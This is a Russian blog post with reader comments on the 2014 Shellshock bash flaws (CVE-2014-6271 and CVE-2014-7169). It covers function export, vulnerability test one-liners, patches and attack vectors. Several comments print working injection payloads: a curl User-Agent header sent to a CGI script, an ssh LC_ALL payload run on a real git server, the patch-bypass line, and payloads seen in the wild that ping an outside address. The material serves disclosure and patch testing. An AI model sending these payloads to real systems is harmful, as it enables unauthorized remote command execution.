Пользователь
0,0
рейтинг
24 сентября 2014 в 20:08

Разработка → CVE-2014-6271, CVE-2014-7169: удалённое выполнение кода в Bash

image
Сегодня были опубликованы детали об уязвимости в Bash.
Вкратце, Bash позволяет экспортировать функции как переменные окружения:

$ myfunc() { echo "Hello"; }
$ export -f myfunc
$ env | grep -A1 ^myfunc
myfunc=() {  echo "Hello"
}


Уязвимость состоит в том, что если после тела функции (после последнего символа "}") добавить ещё какую-нибудь команду, и экспортировать её — она будет выполнена при вызове дочернего интерпретатора:

$ env x='() { :; }; echo "Oh..."' /bin/bash -c /sbin/nologin
Oh...
This account is currently not available.


Это, в свою очередь, позволяет делать интересные вещи — например, если у вас есть CGI-скрипт на Perl, который вызывает Bash — атакующий может сконструировать HTTP-пакет, который будет содержать вредоносный код. Этот код через переменные окружения попадёт в Bash — и будет выполнен.

Уязвимы все версии Bash, начиная с bash-1.14 (информация с сайта shellshocker.net).
В определённых кругах уязвимость прозвали «Bashdoor» — оно и неудивительно.

Больше деталей можно легко нагуглить по идентификатору CVE.

UPD 2014-09-24: некоторые «индусские» секурити-блоги приписывают «privilege escalation» к названию уязвимости. Это неправда — никакого повышения привилегий, код выполняется с правами того же юзера, под которым бежит «родительский» шелл.
В Твиттере уязвимость окрестили shellshock.

UPD 2014-09-25: фикс для CVE-2014-6271 оказался неполным, новой уязвимости присвоен идентификатор CVE-2014-7169. Детали есть в комментариях к посту.

UPD 2014-09-26: фикс для CVE-2014-7169 доступен в репозиториях основных дистрибутивов. Red Hat Product Security опубликовали небольшое ЧАВО в своём блоге.
br0ziliy @br0ziliy
карма
83,6
рейтинг 0,0
Реклама помогает поддерживать и развивать наши сервисы

Подробнее
Реклама

Самое читаемое Разработка

Комментарии (64)

  • 0
    В красной шляпе уже пофикшено.
    • +2
      Пофикшено практически везде. Багу дней 10, сегодня обнародовали. С утра (за ~4 часа до обнародования) в арчлинукс обновление прилетело.
      • +2
        Багу скорее всего лет 10:). Буквально за полчаса до новости прилетел security update в RHEL — наверное поэтому только обнародовали.
        • 0
          На сервера-то апдейты быстро прилетят, сложнее будет со всякими модемами, рутерами, НАС-ами, камерами наблюдения и прочими подключенными к интернету встроенными системами, которые практически не обновляются.
          • 0
            Наберусь наглости и позволю себе попиариться ещё раз. isleaked.com/?lang=ru теперь умеет проверять наличие уязвимости по IP/URL с прицелом на домашние роутеры.
      • –1
        говорят, эти фиксы ничего не фиксят, ждем нормальных.

        Запустите у себя
        foo='() { echo «hi mom»; }' bash -c 'foo'

        если написало «hi mom» — значит вы все еще в опасности.
        • +3
          Во-первых, фиксят — но не до конца.
          Во-вторых, этот будет работать всегда — создаётся переменную окружения foo, в которую заносится функция, и потом эта же функция вызывается в дочернем шелле.
          Это нормально, так и задумано.
          Беспокоиться стоит только если вот это:

          x='() { echo «hi mom»; };echo «hi bro»' bash -c 'echo bye dad'

          выводит «hi bro» и «hi dad» (на патченых версиях будет только «hi dad»).
          Учите матчасть, и не дурите головы людям.
          • –3
            вообще-то ваш код печатает bye dad, а не hi dad.
            • +1
              Да, опечатался. Ну суть остаётся та же — если выводится «hi bro» и «bye dad» — стоит проверить апдейты для своего дистрибутива.
          • –1
            да, спешил, сорри.

            Но ваще-то это тоже уязвимость, пусть и мизерная (возможность запихивать функции в env-переменные):
            seclists.org/oss-sec/2014/q3/741
            • +2
              Вообще-то нет, прекратите спекулировать.
              Это уже обсуждалось: seclists.org/oss-sec/2014/q3/659
              Возможность запихивать функции в переменные — фича интерпретатора, и довольно используемая: codesearch.debian.net/search?q=export\+-f
              Говорить, что это уязвимость — то же самое что считать дырой возможность использовать SSH-авторизацию по ключам, которые не защищены паролем. Или возможность сделать «yum remove glibc».

              Смысл в том, что если у атакующего есть возможность выставить в окружении переменную ls — то скорее всего у него уже есть достаточно контроля над системой, и экспорт функции — последнее, о чём стоит в данном случае беспокоиться.

              Все остальные дыры, о которых речь в посте позволяли выполнять вредоносный код *без* вмешательства — если в окружении есть переменная "() { :; };echo zlo" — echo zlo будет выполнено при любых раскладах на непатченой системе. То, что описывает Mark R Bannister — можно рассматривать как hardening, не более.
        • +2
          В вашем примере нет никакой уязвимости. Вы показали обычный экспорт функций в баше. Уязвимость заключалась в том, что можно заставить баш выполнять код, независимо от того, какую именно переменную установил аттакер. Т. е., если аттакер запускает cgi-скрипт, он не может установить переменную foo, но зато может установить переменню QUERY_STRING (вроде так называется) путём передачи определённых параметров к cgi-скрипту. И баш начнёт выполнять код этого аттакера, даже если в баш-скрипте нет вызова функции под названием QUERY_STRING
          • 0
            да, извините, спешил, написал чушь… Сами понимаете, паникую из всех сил ))
            Кстати вот хороший write-up по этому багу, в том числе для чайников: www.troyhunt.com/2014/09/everything-you-need-to-know-about.html
      • НЛО прилетело и опубликовало эту надпись здесь
  • –26
    <sarcasm>
  • +10
    > например, если у вас есть CGI-скрипт на Perl, который вызывает Bash

    По-моему, это само по себе не очень хорошая идея.
    • 0
      Даже в сях можно напороться на то, что функция system вызывает shell. Да, она небезопасна сама по себе, но это не отменяет того, что она много где встречается.

      system() executes a command specified in command by calling /bin/sh -c command

      Во многих системах /bin/sh — симлинк на баш:
      lrwxrwxrwx 1 root root 4 Sep 4 16:52 /bin/sh -> bash

      В мейллистах мелькает даже вектор атаки через ssh, но я не вникал.
    • +2
      И дело даже не в том, что башевый скрипт будет вызван из Perl, PHP, python или tcl (любимое подставить) — т.к. всегда, весь user input, передоваемый в bash, должен быть как минимум от-эскейплен ну или хотя бы проверен на валидность.
      атакакующий может сконструировать HTTP-пакет, который будет содержать вредоносный код
      Это вообще что с bash, что с другим каким шелом, в принципе не должно случаться (абстрагируясь, от сабжа).
      • 0
        > Это вообще что с bash, что с другим каким шелом, в принципе не должно случаться (абстрагируясь, от сабжа).

        В идеальном мире — да. Ну вот случается же.
        Конкретно эта бага есть только в баш, все остальные командные интерпретаторы фильтруют это дело.
    • +1
      Ну, CGI-скрипт — это просто пример был.
      По сути, всё, что спавнит баш — уязвимо.
      Например — фильтры CUPS. Или dhclient, который от DHCP-сервера принимает параметры, которые через переменные окружения передаются в dhclient (который в свою очередь использует bash для настройки некоторых параметров сети).
  • +3
    Есть закрытые репо в гит-репозитории? ;)
    $ ssh git@git._____.xx '() { :; }; uptime'
    17:06:12 up 19 days, 23:52, 0 users, load average: 1.04, 0.73, 0.65


    Есть cgi-скрипты на bash? ;) (не надо так делать!)
    $ curl -H 'User-Agent: () { :;}; echo; ping ya.ru' xx.xx.xx.xxx/xxx.cgi
    ping: icmp open socket: Operation not permitted
    bash: no job control in this shell
    Content-type: text/html
    • 0
      По первому, вроде если у вас есть возможность выполнить команду по ssh, то можно просто
      ssh git@git___.xx uptime
      

      Или там пропущено что-то вроде -o SendEnv=XXX?
      • +1
        не пропущено, обычно за git@ скрывается рестриктед шелл, который не дает выполнять произвольные команды.

        После того как запатчили:
        # ssh git@git.____.xx '() { :; }; uptime'
        Not allowed command
        • 0
          Спасибо. То есть git-shell внутри себя использует bash? Или это no-interactive-login так себя ведет?
          Вообще было бы интересно узнать, что именно происходит при выполнении данной команды. Мне не очевидно, как аргумент ssh становится переменной окружения.
          • +1
            Ну, лолипоп поторопился конечно, как он показал — на моём репо не сработало.
            А вот так — прекрасно:

            $ env LC_ALL='() { :; }; echo -n UPTIME:; /usr/bin/uptime' ssh git@______.xx
            UPTIME: 23:08:53 up 314 days, 9:36, 2 users, load average: 1.50, 1.46, 1.47
            Connection to git@______.xx closed.
            • +1
              После того, как закомментировал «AcceptEnv LANG LC_*» в /etc/ssh/sshd_config:

              $ env LC_ALL='() { :; }; echo -n UPTIME:; /usr/bin/uptime' ssh git@_______.xx
              basename: missing operand
              Try 'basename --help' for more information.
              git>
            • 0
              Это был вывод с реального сервера с gitlab.
              А то что у вас — у меня это выводит uptime с локалхоста, вы ошиблись, видимо.
              • +2
                > А то что у вас — у меня это выводит uptime с локалхоста, вы ошиблись, видимо.

                Не может такого быть. Разберём команду:

                $ env LC_ALL='() { :; }; echo -n UPTIME:; /usr/bin/uptime' ssh git@_______.xx

                Тут env присваивает переменной окружения LC_ALL значение '() { :; }; echo -n UPTIME:; /usr/bin/uptime'
                Затем вызывается ssh, который подхватывает переменные окружения и передаёт их на сервер.
                Сервер смотрит значение конфига AcceptEnv, и видит, что переменная LC_ALL в списке разрешённых.
                Экспортирует эту переменную и форкает то, что у аккаунта git прописано как login shell — а там баш-скрипт.
                Встаёт баш, и на этапе инициализации, *перед* тем как начнётся выполнение самого баш-скрипта — будет выполнено то, что в LC_ALL после тела функции — то есть «echo -n UPTIME:; /usr/bin/uptime»

                Как видно выше, локалхостом тут и не пахнет — где-то при копи-пасте ошибка.
                • +1
                  Также уязвимы вещи типа gitolite (где используется command="some cmd" ssh-rsa ..... в authorized_keys), т. к. при таком раскладе ssh авторизует пользователя (через PAM или как-нибудь ещё, зависит от настроек sshd), форкается, делает setuid+setgid (т. е. дальнейшее выполняется от имени ограниченного пользователя (например gitotile'овского), далее запускает bash -c "some cmd", сохранив оригинальную команду (из вызова ssh user@host «orig cmd») в переменную окружения SSH_ORIGINAL_COMMAND, через что и реализуется уязвимость.
          • +1
            А, ну и да — git-shell — это bash скрипт.
            А ещё есть сервисы, которые дают SSH-туннели прокидывать через себя — логиниться позволяют, но команды выполнять не дают.
            Вот эта бага как раз и даёт возможность обойти это ограничение.
            • –1
              логиниться позволяют, но команды выполнять не дают.

              У таких в качестве shell прописано обычно что-то типа /bin/passwd. Ну давайте попробуйте им выполнить баш команду
    • 0
      Будьде добры, покажите примерчик такого cgi скрипта
    • 0
      Будьте добры, покажите примерчик такого cgi скрипта
      • 0
        Так вон внизу в комментариях от меня — как раз пример.
  • 0
    Патчи

    ftp.gnu.org/pub/gnu/bash/bash-3.0-patches/bash30-017
    ftp.gnu.org/pub/gnu/bash/bash-3.1-patches/bash31-018
    ftp.gnu.org/pub/gnu/bash/bash-3.2-patches/bash32-052
    ftp.gnu.org/pub/gnu/bash/bash-4.0-patches/bash40-039
    ftp.gnu.org/pub/gnu/bash/bash-4.1-patches/bash41-012
    ftp.gnu.org/pub/gnu/bash/bash-4.2-patches/bash42-048
    ftp.gnu.org/pub/gnu/bash/bash-4.3-patches/bash43-025

    И описание www.openwall.com/lists/oss-security/2014/09/24/11

    Bash supports exporting not just shell variables, but also shell functions to other bash instances, via the process environment to (indirect) child processes. Current bash versions use an environment variable named by the function name, and a function definition starting with “() {” in the variable value to propagate function definitions through the environment. The vulnerability occurs because bash does not stop after processing the function definition; it continues to parse and execute shell commands following the function definition. For example, an environment variable setting of

    VAR=() { ignored; }; /bin/id

    will execute /bin/id when the environment is imported into the bash process. (The process is in a slightly undefined state at this point. The PATH variable may not have been set up yet, and bash could crash after executing /bin/id, but the damage has already happened at this point.)

    The fact that an environment variable with an arbitrary name can be used as a carrier for a malicious function definition containing trailing commands makes this vulnerability particularly severe; it enables network-based exploitation.

    So far, HTTP requests to CGI scripts have been identified as the major attack vector.

    The other vector is OpenSSH, either through AcceptEnv variables, TERM or SSH_ORIGINAL_COMMAND.
    • +1
      AcceptEnv
      ....Be warned that some environment variables could be used to bypass
      restricted user environments. For this reason, care should be
      taken in the use of this directive. The default is not to accept
      any environment variables.
  • –1
    AcceptEnv
    PermitUserEnvironment no
    в конфиге поставил.

    А как в openssh сервере сделать так чтобы юзер мог запускать только свой шел без параметров и sftp который в сабсистем прописан?

    (это на будущее, дырка в баше явно не последняя)
    • 0
      Зачем ему вообще шел без параметров? Выше писал уже — сделайте ему вместо шела /bin/passwd.
  • 0
    Уже и модуль для Metasploit появился www.rapid7.com/db/modules/auxiliary/scanner/http/apache_mod_cgi_bash_env, правда примера использования я пока не нашел.
  • +2
    Найдена возможность обхода вчерашнего патча.
    • +1
      Код выглядит аналогично предыдущему:
      rm -f echo && env -i  X='() { (a)=>\' bash -c 'echo date'; cat echo
      
  • +2
    Скрипты, внутри которых используются CGI-скрипты, подвержены этой уязвимости. За примером далеко ходить не надо — Cpanel.
    У многих роутеров в админках используется CGI (правда, не знаю насчет CGI, который в составе goahead. Goahead очень часто используется в роутерах, но там GCI своеобразный).
    Сейчас многие сканируют сеть и заражают устройства таким вот способом, добавляя команды, которые нужно выполнить, в User-Agent, Referer и Cookie. Так что будьте осторожны, особенно со всякими embedded-устройствами.
  • +1
    А можно поинтересоваться, как относится человек на картинке в начале топика к уязвимости?
    • +1
      В интернете ходит много никнеймов для этой уязвимости, одна из них — Bashinga.
  • 0
    Я так и не смог понять, для CGI скриптов на perl есть уязвимость или нет? Если не всегда то при каких условиях?
    Если апач запускает cgi на perl то там используэтся bash?
    • 0
      Если программист использовал — то да.
      Уязвимы будут скрипты по типу этого:

      #!/usr/bin/perl
      
      print "Content-type: text/html\n\n";
      system("/bin/bash -c somecommand");
      print <<HTML;
       <html>
       <head>
       <title>A Simple Perl CGI</title>
       </head>
       <body>
       <h1>A Simple Perl CGI</h1>
       <p>Hello World</p>
       </body>
      HTML
      exit; 
      


      При этом, если system() заменить на qx// — то ничего не происходить (qx// не форкает новый шелл насколько я понимаю).
      • 0
        Тоесть если явно использовал /bin/bash в команде system? или могут быть другие варианты?
        Если у меня нет вызовов system (и вообще не делаю никакие процессы любыми похожими фкнуциями) то значить все ок?
        • 0
          Про варианты я дополнил в соседнем комментарии, в целом — да, если нет system() — то всё ок.
      • +1
        Если просто написать system("любая команда") и при этом /bin/sh — это симлинк на /bin/bash, то уязвимость
        • +1
          К вам это тоже относится, gelembjuk
    • –1
      Более настоящий пример — использование шелл-скриптов:

      system("/usr/bin/increase_counter.sh");

      Если /usr/bin/increase_counter.sh — баш-скрипт, то система будет уязвима.
  • 0
    Вот и в Cyanogen Mod обновление прилетело.
  • +1
    Уязвимы все версии Bash, начиная с bash-1.14 (информация с сайта shellshocker.net/).
  • +1
    На OS X возможна эскалация привилегий с использованием этой уязвимости:
    image

    Также через уязвимый CGI можно вывесить bash наружу:
    image
  • 0
    Еще один сканер suite.websecurify.com/market/shellshock проверяет CVE-2014-6271, CVE-2014-7169
  • 0
    Пробежался по логам в своем заопарке, нашел немало, но несколько (кстати с IP со всего мира) было с «пингами» на один американский адрес в юзер-агенте.
    Типа такого — "() { :;}; /bin/ping -c 1 XXX.XXX.XXX.XXX".
    Т.к. cgi у меня там наружу нет (да и bash обновился), ради прикола взял и пинганул туда раз с одного сервера. И понеслось… — логи аж ломать начало.
    Для проверки, сделал пинг с другого сервера — таже картина маслом. В итоге насчитал в той бот-сетке 4920 уникальных IP (свалившихся в бан).
    Адрес спрятал, потому что нехилый трафик после долго еще наблюдал (пока fail2ban все не порезал).
    • 0
      сделайте им пинг со спуфингом src ip, пусть улаживают себе сервера
    • –1
      > И понеслось… — логи аж ломать начало

      А можно плиз для примера кусочек логов, что именно началось? Жутко интересно.
  • +1
    В Arch, RHEL и CentOS приехал фикс на CVE-2014-7169.

    $ rm -f echo ; env X='() { (a)=>\' sh -c "echo date"; cat echo
    date
    cat: echo: No such file or directory
    
    • 0
      Да, пофиксили примерно 12 часов назад.
      • +2
        Я бы предложил добавить эту информацию в пост, то последний апдейт пугает)
        • +1
          Согласен, поправил.
    • +2
      В Debian тоже исправили.

Только зарегистрированные пользователи могут оставлять комментарии. Войдите, пожалуйста.